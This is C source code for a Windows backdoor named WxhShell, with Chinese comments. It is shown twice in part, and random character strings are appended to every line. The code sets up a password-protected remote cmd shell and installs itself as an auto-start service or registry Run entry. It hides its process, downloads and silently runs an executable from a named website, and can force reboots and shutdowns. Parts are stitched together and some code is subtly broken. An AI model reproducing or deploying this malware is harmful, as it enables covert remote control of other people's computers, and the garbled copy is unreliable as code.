    ExitThread(0); |Elz{i-  
    } ^ # 3,*(S  
    break; M$e$%kPShE  
    } #M<u^$Jz  
  // 获取shell Rm Q>.?  
  case 's': { ge#P(Itz  
    CmdShell(wsh); 7-mo\jw<  
    closesocket(wsh); {BZ0x2  
    ExitThread(0); rBZ00}  
    break; vy5I#q(k  
  } ~*L@|?  
  // 退出 l"%WXi"X  
  case 'x': { 99~ZZG  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); QB*n [(?  
    CloseIt(wsh); 4KY@y?H g  
    break; e?WI=Og  
    } P_(< ?0l  
  // 离开 {6iHUK   
  case 'q': { n1)].`  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |;R-q8  
    closesocket(wsh); lHO.pN`2  
    WSACleanup(); jV' tcFr4  
    exit(1); caZEZk#r;  
    break; 0OBwe6*  
        } W=4|ahk$  
  } Lbu,VX  
  } !'-./LD")  
Kr%`L/%  
  // 提示信息 -v=tM6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |T{ZDJ+  
} 5#::42oE  
  } iOiXo6YE  
X [;n149o  
  return; Tvw(S q};  
} y2Vc[o(NP  
yppXecFJ  
// shell模块句柄 2>.>q9J(  
int CmdShell(SOCKET sock) h8P_/.+g|V  
{ 4g?qKoc i  
STARTUPINFO si; ,&jjp eZP  
ZeroMemory(&si,sizeof(si)); BG+X8t8\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =6B I[_0  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; hroRDD   
PROCESS_INFORMATION ProcessInfo; F8B:P7I  
char cmdline[]="cmd"; 8},fu3Z  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); JB HnJm  
  return 0; mWuhXY^Q  
} D1EHT}  
t}gK)"g  
// 自身启动模式 u HXb=U  
int StartFromService(void) <9`/Y"\p  
{ RMa#z [{0  
typedef struct vr$z6m ^  
{ }TU2o3Q  
  DWORD ExitStatus; 94.M 8  
  DWORD PebBaseAddress; qGgdWDn`  
  DWORD AffinityMask; 8\[qR_LV  
  DWORD BasePriority; _RX*Ps=  
  ULONG UniqueProcessId; D66!C{  
  ULONG InheritedFromUniqueProcessId; =A; 79@bY  
}   PROCESS_BASIC_INFORMATION; j4h?"  
K\$z,}0  
PROCNTQSIP NtQueryInformationProcess; )`zfDio-1V  
/!-ypIY  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; e_Q(l'f  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; AmcBu"  
L'a>D  
  HANDLE             hProcess; {>l`P{{y  
  PROCESS_BASIC_INFORMATION pbi; K_V$ktL  
yJw4!A 1!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /(bn+l}W  
  if(NULL == hInst ) return 0; qGie~S ##  
e3kdIOu5  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); IE&G7\>(yO  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [q!)Y:|u_>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); IF3V5Q  
_x?S0R1  
  if (!NtQueryInformationProcess) return 0; m\ /V0V\  
\>4x7mF!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); zxvowM  
  if(!hProcess) return 0; hj[sxC>z5  
Xj21:IMR  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 66cPoG  
r5&?-G  
  CloseHandle(hProcess); ="]y^&(L(  
9R4q^tGR\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5<?/M<i  
if(hProcess==NULL) return 0; ]BBjFs4#  
y#5;wb<1  
HMODULE hMod; t8-LPq  
char procName[255]; !_h<w?)  
unsigned long cbNeeded; }Yp]A  
=JB1]b{|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1iE*-K%Q  
k!m9 l1x  
  CloseHandle(hProcess); jI807g+  
vC5y]1QDd  
if(strstr(procName,"services")) return 1; // 以服务启动 eh$T 3_#q  
q.PXO3T  
  return 0; // 注册表启动 8 9f{8B]z  
} Ib$?[  
;EfREfk  
// 主模块 3(La)|k  
int StartWxhshell(LPSTR lpCmdLine) _95`w9  
{ p\M\mK  
  SOCKET wsl; c(0Ez@  
BOOL val=TRUE; 1 *$-.  
  int port=0; 5[$jrG\!  
  struct sockaddr_in door; 1FmVx   
z=VL|Du1OT  
  if(wscfg.ws_autoins) Install(); h:'wtn@l(  
)L:p.E  
port=atoi(lpCmdLine); u< .N\/  
5}2XnM2  
if(port<=0) port=wscfg.ws_port; C?%Oi:Gi&  
,]-A~^|  
  WSADATA data; {siIRl2&  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; KR/SMwy  
*7 >K"j  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   -AU!c^-o  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9~WjCa*,&  
  door.sin_family = AF_INET; yn-TN_/Y,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \~'+TW  
  door.sin_port = htons(port); 8p~G)J3U  
D[}qhDlX  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { VcR(9~  
closesocket(wsl); kc70HrG  
return 1; 4f> s2I&pQ  
} %q 7gl;'  
n+uDg  
  if(listen(wsl,2) == INVALID_SOCKET) { "+J[7p}`@  
closesocket(wsl); I%31MU9  
return 1; pwO U6A!  
} _D?`'zN  
  Wxhshell(wsl); dz Z75  
  WSACleanup(); fQOh%i9n5  
:i:M7}r  
return 0; IEW[VU)  
| WMq&-$D  
} 0^rDf L  
QAh6!<.;@  
// 以NT服务方式启动 j #)K/`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6@o *"4~Q  
{ 4E DwZR>./  
DWORD   status = 0; Qcr-|?5L  
  DWORD   specificError = 0xfffffff; lVQy {`Ns  
F%>`?NG+c  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4I^8f||b_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; VCUEzR0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; A VbGJ+  
  serviceStatus.dwWin32ExitCode     = 0; ygquQhf5  
  serviceStatus.dwServiceSpecificExitCode = 0; h*\/{$y  
  serviceStatus.dwCheckPoint       = 0; eC41PQ3=1'  
  serviceStatus.dwWaitHint       = 0; +=A53V[C  
|*WE@L5  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); IQ"9#{o  
  if (hServiceStatusHandle==0) return; !o&b:7  
$'>h7].  
status = GetLastError(); s4{WPU9  
  if (status!=NO_ERROR) JgY#W1>  
{ /xcl0oe(  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; &*wc` U  
    serviceStatus.dwCheckPoint       = 0; Da"GYEC  
    serviceStatus.dwWaitHint       = 0; +_LWN8F  
    serviceStatus.dwWin32ExitCode     = status; W{v-(pW  
    serviceStatus.dwServiceSpecificExitCode = specificError; CA{(x(W\:  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); D#G(&<Q  
    return; KnuQ 5\y  
  } '+ cPx\4  
D27MT/=7  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; N^{+1u7  
  serviceStatus.dwCheckPoint       = 0; , HE +|y#  
  serviceStatus.dwWaitHint       = 0; I,xV&j+<  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2E":6:Wsw  
} m@){@i2.  
<ny)yK  
// 处理NT服务事件,比如:启动、停止 _<i*{;kR6  
VOID WINAPI NTServiceHandler(DWORD fdwControl) x:O;Z~ |.  
{ 12,,gwh  
switch(fdwControl) <>FpvdB  
{ ZBAtRs  
case SERVICE_CONTROL_STOP: 3bW(VvgcL4  
  serviceStatus.dwWin32ExitCode = 0; x#{.mN  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; R2[-Q"|Ra  
  serviceStatus.dwCheckPoint   = 0; u \zP`Y  
  serviceStatus.dwWaitHint     = 0; .j)f'<;%  
  { b:w {7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZNEWUt{+;^  
  } ~Z#jIG<?g  
  return; g/ict 2!  
case SERVICE_CONTROL_PAUSE: PHh&@:  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 5#v|t\ {  
  break; C`0;  
case SERVICE_CONTROL_CONTINUE: M@/Hd0$  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; (;@\gRL  
  break; s;;"^5B.  
case SERVICE_CONTROL_INTERROGATE: T$ )dc^  
  break;  qg+bh  
}; p7pJ90~E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z1gZn)7  
} =7U_ jDME  
oHbG-p  
// 标准应用程序主函数 FX#fh 2  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #AJo75E%  
{ ny]R,D0  
n(MVm-H  
// 获取操作系统版本 /.u0rxoRP}  
OsIsNt=GetOsVer(); >[ox|_o  
GetModuleFileName(NULL,ExeFile,MAX_PATH); =#"ZO  
`bdCom  
  // 从命令行安装 #&cNR_"w  
  if(strpbrk(lpCmdLine,"iI")) Install(); *N;# _0)/  
RN%*3{-  
  // 下载执行文件 ,'m<YTF  
if(wscfg.ws_downexe) { *"pf3x6  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #H@rb  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]E hW  
} VkNg Vjg  
W_E0+  
if(!OsIsNt) { {|kEGq~aE  
// 如果时win9x,隐藏进程并且设置为注册表启动 _8U 5mW  
HideProc(); u,R;=DNl  
StartWxhshell(lpCmdLine); z[I3k  
} `;9Z?]}`  
else mXH\z  
  if(StartFromService()) q)ns ui(  
  // 以服务方式启动 jd]YKaI  
  StartServiceCtrlDispatcher(DispatchTable); x]Nk T  
else |aT&rpt   
  // 普通方式启动 & bwhD.:=  
  StartWxhshell(lpCmdLine); ; SS/bS|  
#0WGSIht<  
return 0; Jmp%%^  
} /*+P}__k  
_U"9#<  
Whd2mKwiO  
H7 xyK  
=========================================== $#k8xb  
]d}U68$T+  
%`cP|k  
Y|NANjEAfm  
s 9Y'MQo*  
/2!Wy6 p  
" 5VU 5kiCt  
E8Jy!8/X9T  
#include <stdio.h> ?J<V-,i  
#include <string.h> .FarKW  
#include <windows.h> t@`w}o[#  
#include <winsock2.h> _i=431Z40  
#include <winsvc.h> 7$l!f  
#include <urlmon.h> ._uXK[c7P  
NEpomE(>x  
#pragma comment (lib, "Ws2_32.lib") ]}wo$7pO  
#pragma comment (lib, "urlmon.lib") _dgS@n;6  
5ir[}I^z  
#define MAX_USER   100 // 最大客户端连接数 W_%p'8,  
#define BUF_SOCK   200 // sock buffer 8+>r!)Q+  
#define KEY_BUFF   255 // 输入 buffer 5u<F0$qHc  
[=})^t?8  
#define REBOOT     0   // 重启 ;PO{ ips  
#define SHUTDOWN   1   // 关机 9\_^"5l  
ne=?'e4  
#define DEF_PORT   5000 // 监听端口 _NfdJ=[Xh  
&X^ -|7~N  
#define REG_LEN     16   // 注册表键长度 /YP,Wfd%  
#define SVC_LEN     80   // NT服务名长度 BP&T|s  
zT\nj&7  
// 从dll定义API [ p+]H?(A  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [IF5Iv\b  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Pp*:rA"N  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); < )dqv0=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); J-6l<%962%  
k//l~A9m  
// wxhshell配置信息 X7cqAi  
struct WSCFG { <}G*/ z?/  
  int ws_port;         // 监听端口 0%Y8M` ~s7  
  char ws_passstr[REG_LEN]; // 口令 fd{75J5%  
  int ws_autoins;       // 安装标记, 1=yes 0=no =i4%KF9 x  
  char ws_regname[REG_LEN]; // 注册表键名 ig Q,ZY1  
  char ws_svcname[REG_LEN]; // 服务名 >tmv3_<=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 A)2eo<ij4  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Ej\M e  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 k$kOp *X  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 4@iMGYR9!s  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =N62 ){{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 e ej:  
5Iql%~_x  
}; 1Mftq4nq  
A#yZh\#  
// default Wxhshell configuration "Je*70LG#  
struct WSCFG wscfg={DEF_PORT, fEdp^oVg  
    "xuhuanlingzhe", eSqKXmH[m  
    1, +b =X~>vZ  
    "Wxhshell", eucacXiZ  
    "Wxhshell", N(6Q`zs  
            "WxhShell Service", TpB4VNi/<  
    "Wrsky Windows CmdShell Service", #2/2X v  
    "Please Input Your Password: ", 88@" +2  
  1, | ODi[~y  
  "http://www.wrsky.com/wxhshell.exe", FZvh]ZX  
  "Wxhshell.exe" :7WeR0*%  
    }; B<p-qPR K  
b"DV8fdX  
// 消息定义模块 6T?$m7c  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .T2P%Jn.  
char *msg_ws_prompt="\n\r? for help\n\r#>"; pR3@loFQ`o  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >@Nn_d  
char *msg_ws_ext="\n\rExit."; m-< "`:+  
char *msg_ws_end="\n\rQuit."; wWVLwp4-  
char *msg_ws_boot="\n\rReboot..."; $ $=N'Q  
char *msg_ws_poff="\n\rShutdown..."; YB`;<+sY  
char *msg_ws_down="\n\rSave to "; '`)r<lYN,  
T J!d 7  
char *msg_ws_err="\n\rErr!"; A~@u#]]<n  
char *msg_ws_ok="\n\rOK!"; (~6D`g`B  
^$N}[1   
char ExeFile[MAX_PATH]; U,tl)(!@Q-  
int nUser = 0; W Ai91K@  
HANDLE handles[MAX_USER]; d)R7#HLZ7  
int OsIsNt; [Yq*DkW  
Y"n$d0%  
SERVICE_STATUS       serviceStatus; 1edeV48{:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; IO@Ti(,  
0SHF 8kek  
// 函数声明 z]twh&^1L  
int Install(void); TtWE:xE  
int Uninstall(void);  dcd9AW=  
int DownloadFile(char *sURL, SOCKET wsh); 0b)q,]l]  
int Boot(int flag); {:63% j  
void HideProc(void); iI]E%H}  
int GetOsVer(void); ?o D]J  
int Wxhshell(SOCKET wsl); 5x2m ]u  
void TalkWithClient(void *cs); N!{waPbPi  
int CmdShell(SOCKET sock); ,\DSi&T  
int StartFromService(void); < Z>p1S  
int StartWxhshell(LPSTR lpCmdLine); nNEIwlj;  
J7RO*.O&Iq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ![ce=9@t<  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); [X\<C '<  
~+~^c|  
// 数据结构和表定义 f\|R<3 L  
SERVICE_TABLE_ENTRY DispatchTable[] = \FL`b{!+ N  
{ gG,"wzj  
{wscfg.ws_svcname, NTServiceMain}, ndXUR4  
{NULL, NULL} RT~6#Caf  
}; [PhT zXt  
8fH. E  
// 自我安装 2Hp<(  
int Install(void) A.v'ws+VDP  
{ )LdS1%  
  char svExeFile[MAX_PATH]; o6v'`p '  
  HKEY key; #cAX9LV  
  strcpy(svExeFile,ExeFile); ev LZ<|  
0dKv%X#\  
// 如果是win9x系统,修改注册表设为自启动 wn&5Ul9Elb  
if(!OsIsNt) { UNC%<=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ju8DmC5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x\R%hGt  
  RegCloseKey(key); \Wn0,%x2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6p}dl>T_y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8rNRQOXOa  
  RegCloseKey(key); j,J/iJs  
  return 0; {S Oy-  
    } Jg2*$gL;_  
  } m~<<ok_  
} u&Lp  
else { 1UwpLd  
S#|dmg;p  
// 如果是NT以上系统,安装为系统服务 )Bb:?!EuEH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /hC'-6:]^  
if (schSCManager!=0) 7_^JgA|Kk7  
{ "Xz[|Xl  
  SC_HANDLE schService = CreateService b-"kclK  
  ( mR1|8H!f  
  schSCManager, EqjaD/6Y`  
  wscfg.ws_svcname, gNj~o^6|@  
  wscfg.ws_svcdisp, <`P7^ 'z!  
  SERVICE_ALL_ACCESS, 1oSU>I_i  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , VS\+"TPuH  
  SERVICE_AUTO_START, l.Yq4qW  
  SERVICE_ERROR_NORMAL, <W2 YG6^i  
  svExeFile, dJf#j?\[  
  NULL, OV+|j  
  NULL, g4U`Qf3  
  NULL, ol#4AU`  
  NULL, so]p1@K  
  NULL RX cfd-us  
  ); FhAYk  
  if (schService!=0) +DR,&;  
  { _C&XwC Im  
  CloseServiceHandle(schService); r1R\cor  
  CloseServiceHandle(schSCManager); Frd`u .I  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [izP1A$r#Q  
  strcat(svExeFile,wscfg.ws_svcname);  ()`cW>[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *_,: &Ur  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Ce.*yO<-  
  RegCloseKey(key); pLtAusx  
  return 0; hVLV Mqd  
    } E8Y(C_:s  
  } |j w{7\+  
  CloseServiceHandle(schSCManager); p8bAz  
} |3K]>Lio  
} y=k!>Y|E  
-q")qNt.  
return 1; 1!"iN~  
} _2 Hehw  
YX,xC-37y  
// 自我卸载 mzH3Q564  
int Uninstall(void) :3 p&h[M  
{ ;]A:(HSZj  
  HKEY key; U+7!Vpq  
C<"b99\2`  
if(!OsIsNt) { \1[v-hvK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !`S61~gE  
  RegDeleteValue(key,wscfg.ws_regname); AY)R2> fW%  
  RegCloseKey(key); z.6I6IfL\L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j@778fvM\t  
  RegDeleteValue(key,wscfg.ws_regname); 0J5IO|1M  
  RegCloseKey(key); p/4}SU  
  return 0; .'Rz tBv  
  } v_L?n7c  
} 'ngx\Lr  
} 7a5G,C#QQ  
else { _fmOTz G  
9zac[t no  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); J=7<dEm&  
if (schSCManager!=0) f J$>VN  
{ 227 Z6#CF!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 3Jj 3!aDB  
  if (schService!=0) ^oH!FN`;{  
  { Fb^f`UI  
  if(DeleteService(schService)!=0) { yh{Wuz=T  
  CloseServiceHandle(schService); 3+tr_psH  
  CloseServiceHandle(schSCManager); m`B .3  
  return 0; US2Tdmy@05  
  } bG&vCH;}%  
  CloseServiceHandle(schService); c8}jO=/5+  
  } nX\Q{R2  
  CloseServiceHandle(schSCManager); A>Y!d9]ti  
} 0?/vcsO  
} dePI&z:  
2& ZoG%)  
return 1; ?I}0[+)V  
} NWt5)xl  
AiOz1Er  
// 从指定url下载文件 68YJ@(iS  
int DownloadFile(char *sURL, SOCKET wsh) y>iote~  
{ ^,,lo<d_L  
  HRESULT hr; C#@>osC  
char seps[]= "/"; P%_PG%O2p  
char *token; yaWHGre  
char *file; e,I{+ ^P  
char myURL[MAX_PATH]; >X0c:p Pu  
char myFILE[MAX_PATH]; T*v@hbJ  
V(6GM+  
strcpy(myURL,sURL); u .R   
  token=strtok(myURL,seps); p({)ZU3  
  while(token!=NULL) y - Ge"mY  
  { _;8+L\  
    file=token; o:nh3K/YJ  
  token=strtok(NULL,seps); b]XDfe  
  } +8eW/Bs@2  
l.AG^b  
GetCurrentDirectory(MAX_PATH,myFILE); i48Tb7Rx~n  
strcat(myFILE, "\\"); ~ s# !\Ye  
strcat(myFILE, file); e,rCutA)  
  send(wsh,myFILE,strlen(myFILE),0); ^_o9%)RL(  
send(wsh,"...",3,0); ;&?l1Vu  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^iz2 =}Q8  
  if(hr==S_OK) avwhGys#  
return 0; ;y%C\YB#  
else +:m'a5Dm  
return 1; gW_^GrKpI  
uU#7SX(uu  
} ]CZ&JL  
& GM&,  
// 系统电源模块 vddh 2G  
int Boot(int flag) BBUXoz  
{ i=DoK{`L  
  HANDLE hToken; 8"2X 8C8  
  TOKEN_PRIVILEGES tkp; .p d_SQ~  
L7 f'  
  if(OsIsNt) { `z]MQdE_w  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); u>I;Cir4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); XF=GmkO  
    tkp.PrivilegeCount = 1; F G5e{  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; WeqQw?-  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); a eo/4  
if(flag==REBOOT) { BR[f{)a5  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) b*@y/ e\u`  
  return 0; +5C*i@v  
} +(9qAB7  
else { 2 bQC 2  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {S;/+X,  
  return 0; }iF"&b0n"  
} vJE>H4qPmD  
  } JJe?Zu\  
  else { d}e/f)(  
if(flag==REBOOT) { J;S@Q/s  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) is,r:  
  return 0; ]/C1pG*o  
} 3[E)/~-  
else { SpG^kI #  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )s';m$  
  return 0; 9azk(OL6  
} ;}=[( eqA  
} Nq3q##Ut:  
Ikbz3]F^V  
return 1; =W Q_5}  
} 0o+2]`q)Q  
USrg,A  
// win9x进程隐藏模块 QA3q9,C"  
void HideProc(void) Z*Qra4GBl]  
{ V/jEMJNks  
5lMm8<v  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 2rK<UPIq  
  if ( hKernel != NULL ) SKf[&eP,G  
  { _Xn[G>1  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); d;kdw  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Y)=89s&t  
    FreeLibrary(hKernel); E'J| p7  
  } I 8 \Ka=w  
a ykNH>#Po  
return; Zg@NMT  
} M6+_Mi.  
h) . ([  
// 获取操作系统版本 oU.LYz_  
int GetOsVer(void) Jc:gNQCsP  
{ -r!N; s$t  
  OSVERSIONINFO winfo; 2nFSu9}+r  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); XdDy0e4{%<  
  GetVersionEx(&winfo); .CL\``  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) fem>WPvG  
  return 1; ~Z'3(n*9  
  else |<n+6  
  return 0; k8;  
} U_UX *  
W&U Nk,  
// 客户端句柄模块 =N9a!i i|  
int Wxhshell(SOCKET wsl) K] ^kUN_  
{ M)U 32gI:  
  SOCKET wsh; x@I(G "  
  struct sockaddr_in client; U&D"fM8  
  DWORD myID; )&j4F)  
}cL9`a9j  
  while(nUser<MAX_USER) L##lXUl  
{ ~ZSP K;D[  
  int nSize=sizeof(client); Xh,{/5m  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <E(#;F^y  
  if(wsh==INVALID_SOCKET) return 1; P>dMET  
hoc$aqP6pp  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); <Cvlz^K[  
if(handles[nUser]==0)  wv2  
  closesocket(wsh); tBp146`  
else GB(o)I#h  
  nUser++; Ua^'KRSO  
  } "(hhb>V1Wl  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); R^.oM1qu|  
=-`}(b2N  
  return 0; d (Fb_  
} 7J]tc1-re  
Yd4J:  
// 关闭 socket A3p@hQl  
void CloseIt(SOCKET wsh) -$E_L :M  
{ 8} \Lt  
closesocket(wsh); /.<T^p@\&  
nUser--; HXTBxh  
ExitThread(0); [lqwzW{(UN  
} af61!?K  
ey@]B5  
// 客户端请求句柄 3%] %c6  
void TalkWithClient(void *cs) $/aZ/O)F  
{ 2NLD7A  
^G+1nY4? J  
  SOCKET wsh=(SOCKET)cs; x?:[:Hf   
  char pwd[SVC_LEN]; F#X&Tb{  
  char cmd[KEY_BUFF]; -bo5/`x  
char chr[1];  eU"!X9  
int i,j;  $&96qsr  
(KDUX t.  
  while (nUser < MAX_USER) { Tw< N  
a a=GW%  
if(wscfg.ws_passstr) { 0Ii* "?s  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G}d-L!YbE'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r=<Oy1m/  
  //ZeroMemory(pwd,KEY_BUFF); fQ5V RpWGn  
      i=0; C:/O]slH  
  while(i<SVC_LEN) { U5]{`C0H?  
:=BFx"Y  
  // 设置超时 Wc4F'}s  
  fd_set FdRead; S ni Ck*T,  
  struct timeval TimeOut; ')w:`8Tl  
  FD_ZERO(&FdRead); !>g_9'n'  
  FD_SET(wsh,&FdRead); ty|E[Ez1  
  TimeOut.tv_sec=8; Ll%CeP  
  TimeOut.tv_usec=0; 5Xu2MY=  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %nQii? 1`i  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); c(. 2D  
wRn]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [];*9vxW  
  pwd=chr[0]; ab!,)^  
  if(chr[0]==0xd || chr[0]==0xa) { ?GPTJ#=j=]  
  pwd=0; 31 \l0Jg  
  break; :b[ [}'  
  } 8<C u S  
  i++; RU3:[ (7  
    } 37DyDzW)'  
5A,@$yp+  
  // 如果是非法用户,关闭 socket W3s>+yU  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); V?Y;.n&y  
} "d60IM#N?  
@U CGsw  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); gwDQ@  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); TT3GFP  
5o 4\Jwt  
while(1) { D<5;4Mb  
FUic7>  
  ZeroMemory(cmd,KEY_BUFF); =T'N6x5@  
NGIbUH1[  
      // 自动支持客户端 telnet标准   i>YD_#w  
  j=0; fr$E'+l)  
  while(j<KEY_BUFF) { }{Ab:+aNd  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #Hl0>"k ,  
  cmd[j]=chr[0]; T u>5H`  
  if(chr[0]==0xa || chr[0]==0xd) { DT`TA#O  
  cmd[j]=0; 5qzFH,  
  break; .}n%gc~A  
  } 1'or[Os3=  
  j++; {.=089`{  
    } #~l(t_m{  
~Ts^z(v~D2  
  // 下载文件 4}@J]_]Z  
  if(strstr(cmd,"http://")) { w Q /IT}-  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 'thWo wE  
  if(DownloadFile(cmd,wsh))  n4;  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?AC flU_k  
  else +eSNwR=  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); % UDz4?zx  
  } EkotVzR5  
  else { qPeaSv]W  
fYrC;&n  
    switch(cmd[0]) { @X@?jj&  
  Y ;$wD9W  
  // 帮助 .{[+d3+,  
  case '?': { 'B dZN  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5VD(fW[OW]  
    break; !n9H[QP^9  
  } IE7%u 92  
  // 安装 }71a3EUK  
